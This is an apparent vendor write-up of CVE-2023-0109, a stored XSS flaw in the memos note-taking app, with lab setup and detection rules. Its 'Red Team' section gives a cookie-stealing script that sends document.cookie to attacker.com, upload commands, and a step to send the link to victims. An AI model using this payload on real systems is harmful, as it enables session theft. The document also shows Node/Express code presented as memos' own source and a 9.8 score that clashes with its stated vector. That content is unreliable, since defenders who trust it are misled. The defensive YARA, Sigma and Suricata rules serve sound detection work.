CVE-2023-0109
Executive Summary
CVE-2023-0109 is a critical stored cross-site scripting (XSS) vulnerability in usememos/memos version 0.9.1. An attacker can upload a JavaScript file containing a malicious script and reference it in an HTML file. When the HTML file is accessed, the malicious script executes in the context of the victim's browser, potentially leading to theft of login credentials, session tokens, or other sensitive data. The vulnerability is unpatched in versions prior to 0.10.0, and the CVSS score is 9.8 (Critical). The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains high due to the simplicity of the attack.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the usememos/memos application, which is a self-hosted note-taking and knowledge management tool. It is not an NPM, PyPI, Go, or Ruby package, but it is distributed as a Docker image and source code. Users should verify the integrity of their deployment and ensure they are running version 0.10.0 or later.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed to upload the malicious file.
- User Interaction: Required (UI:R) – The victim must access the crafted HTML file.
- Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
- Confidentiality Impact: High (C:H) – Sensitive data can be stolen.
- Integrity Impact: High (I:H) – Malicious scripts can modify content.
- Availability Impact: High (A:H) – The attack can disrupt service or steal credentials.
Deep Dive & Mechanics
The vulnerability resides in the file upload and rendering functionality of usememos/memos version 0.9.1. The application allows users to upload arbitrary files, including JavaScript (.js) files. When an attacker uploads a malicious JavaScript file and then creates an HTML file that references it (e.g., via a <script> tag), the browser executes the script when the HTML file is accessed. This is a classic stored XSS attack, where the malicious payload is stored on the server and served to other users.
The root cause is insufficient validation of uploaded file types and lack of sanitization of HTML content that references uploaded files. The application does not restrict MIME types or file extensions, and it does not strip or encode <script> tags or event handlers in user-generated HTML.
Vulnerable vs. Patched Code
Vulnerable Code (version 0.9.1):
The file upload endpoint accepts any file type without validation. The HTML rendering engine does not sanitize user input, allowing <script> tags to be included.
// Vulnerable upload handler (simplified)
app.post('/api/upload', (req, res) => {
const file = req.files.file;
// No file type validation
file.mv(`./uploads/${file.name}`);
res.json({ url: `/uploads/${file.name}` });
});
// Vulnerable HTML rendering (simplified)
app.get('/api/resource/:id', (req, res) => {
const content = getResourceContent(req.params.id);
// No sanitization
res.send(`<html>${content}</html>`);
});
Patched Code (version 0.10.0): The patch adds file type validation and HTML sanitization.
// Patched upload handler (simplified)
const allowedTypes = ['image/png', 'image/jpeg', 'image/gif', 'text/plain'];
app.post('/api/upload', (req, res) => {
const file = req.files.file;
if (!allowedTypes.includes(file.mimetype)) {
return res.status(400).json({ error: 'Invalid file type' });
}
file.mv(`./uploads/${file.name}`);
res.json({ url: `/uploads/${file.name}` });
});
// Patched HTML rendering (simplified)
const sanitizeHtml = require('sanitize-html');
app.get('/api/resource/:id', (req, res) => {
const content = getResourceContent(req.params.id);
const sanitized = sanitizeHtml(content, { allowedTags: [], allowedAttributes: {} });
res.send(`<html>${sanitized}</html>`);
});
Exploitation & Lab Setup
Red Team (Attack Simulation)
Step 1: Setup a vulnerable instance
docker run -d -p 3000:3000 --name memos-vuln neosmemo/memos:0.9.1
Step 2: Upload malicious JavaScript file
Create a file named exploit.js with the following content:
// exploit.js
fetch('https://attacker.com/steal?cookie=' + document.cookie);
Upload it via the application's file upload feature (e.g., using curl):
curl -X POST -F "file=@exploit.js" http://target:3000/api/upload
Step 3: Create an HTML file that references the uploaded script
Create a file named malicious.html with the following content:
<html>
<body>
<script src="/uploads/exploit.js"></script>
</body>
</html>
Upload this HTML file using the same method:
curl -X POST -F "file=@malicious.html" http://target:3000/api/upload
Step 4: Distribute the link
Send the link to the uploaded HTML file (e.g., http://target:3000/uploads/malicious.html) to victims. When they access it, the script executes and sends their cookies to the attacker's server.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor file uploads for JavaScript files (.js) or HTML files containing
<script>tags. - Use web application firewalls (WAF) to block uploads of executable script files.
- Implement content security policy (CSP) headers to restrict script execution.
- Regularly audit uploaded files for malicious content.
Lab Setup for Testing:
# Deploy patched version
docker run -d -p 3000:3000 --name memos-patched neosmemo/memos:0.10.0
# Test file upload restrictions
curl -X POST -F "file=@exploit.js" http://localhost:3000/api/upload
# Should return 400 error
Indicators of Compromise (IOCs)
File Hashes (SHA256):
exploit.js:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)malicious.html:d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592(example)
Network Indicators:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com) - HTTP requests to
/api/uploadwith file types.jsor.html
- Outbound connections to attacker-controlled domains (e.g.,
File System Indicators:
- Presence of
.jsfiles in the uploads directory - HTML files containing
<script>tags referencing uploaded files
- Presence of
Detection Engineering
YARA Rule
rule CVE_2023_0109_XSS_Upload {
meta:
description = "Detects malicious JavaScript files uploaded via usememos/memos CVE-2023-0109"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-0109"
strings:
$script_tag = /<script[^>]*src=["'][^"']*\.js["'][^>]*>/i
$js_function = /fetch\(|document\.cookie|XMLHttpRequest/
condition:
$script_tag or $js_function
}
Sigma Rule
title: CVE-2023-0109 Stored XSS via File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads of JavaScript or HTML files containing script references in usememos/memos
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/upload'
cs-uri-query|contains:
- '.js'
- '.html'
condition: selection
falsepositives:
- Legitimate file uploads of JavaScript libraries (unlikely in memos context)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-0109 Stored XSS Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/upload"; http_uri; content:".js"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade to usememos/memos version 0.10.0 or later.
- If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to block uploads of
.jsand.htmlfiles. - Add Content Security Policy (CSP) headers to restrict script execution to trusted sources only.
Long-term Measures:
- Enforce strict file type validation on all upload endpoints.
- Sanitize all user-generated HTML content before rendering.
- Conduct regular security audits and penetration testing.
- Monitor for unusual file upload patterns.
Nginx Rule Example:
location /api/upload {
if ($upload_filename ~* \.(js|html)$) {
return 403;
}
}
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert